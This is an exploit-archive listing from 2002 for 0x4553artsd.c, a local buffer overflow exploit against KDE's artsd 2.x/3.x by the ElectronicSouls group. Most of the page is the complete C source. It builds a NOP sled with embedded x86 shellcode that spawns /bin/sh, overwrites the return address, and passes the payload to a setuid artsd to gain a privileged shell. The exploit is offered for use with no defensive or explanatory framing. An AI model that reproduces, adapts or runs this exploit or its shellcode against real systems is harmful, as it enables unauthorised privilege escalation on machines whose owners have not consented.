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0x4553artsd.c

0x4553artsd.c
Posted Jul 10, 2002
Authored by electronicsouls, Burn-X, 0x90 | Site es.xor.ru

Local buffer overflow exploit for KDE's artsd v2.x and 3.x.

tags | exploit, overflow, local
SHA-256 | c4ee9b2be56eb009a8530167e522b3e52eb220e1569d1a0b77a0f7358526114c

0x4553artsd.c

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This is the local buffer oveflow exploit for
KDE's artsd application. Enjoy :)
-------------------------------------------------
/*
0x4553artsd.c
[ElectronicSouls]
KDE 2.x/3.x artsd Local Exploit
By: BuRn-X & 0x90

0x90
"The louder the music the better the code!"
Note: artsd must be +s to work
"Save a bug, save a life!"
http://www.electronicsouls.org
*/
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#define BSIZE 4000
#define ALIGN 0
#define OFFSET 0
unsigned char esshellcode[] =
"\xeb\x16\x31\xdb\x31\xc9\xf7\xe1"
"\x5b\xb0\x0b\x88\x53\x07\x52\x53"
"\x89\xe1\xcd\x80\xb0\x01\xcd\x80"
"\xe8\xe5\xff\xff\xff/bin/sh";
unsigned long get_sp(void) {
__asm__("movl %esp, %eax");
}
int main(int argc, char **argv) {
char *buffer;
int i;
int bsize = BSIZE;
int align = ALIGN;
int offset = OFFSET;
unsigned long addr;
if(argc > 1) bsize = atoi(argv[1]);
buffer = (char *)malloc(bsize);
bzero(buffer, bsize);
memset(buffer, 0x90, bsize);
addr = get_sp() - offset;
*(unsigned long *)&buffer[bsize - 4] = addr;
*(unsigned long *)&buffer[bsize - 8] = addr;
memcpy(buffer + bsize - 8 - align - strlen
(esshellcode),
esshellcode,
strlen(esshellcode));
execl ("/opt/kde/bin/artsd", "artsd", "-m",
buffer, NULL);
return 0;
}
------------------------------------------------

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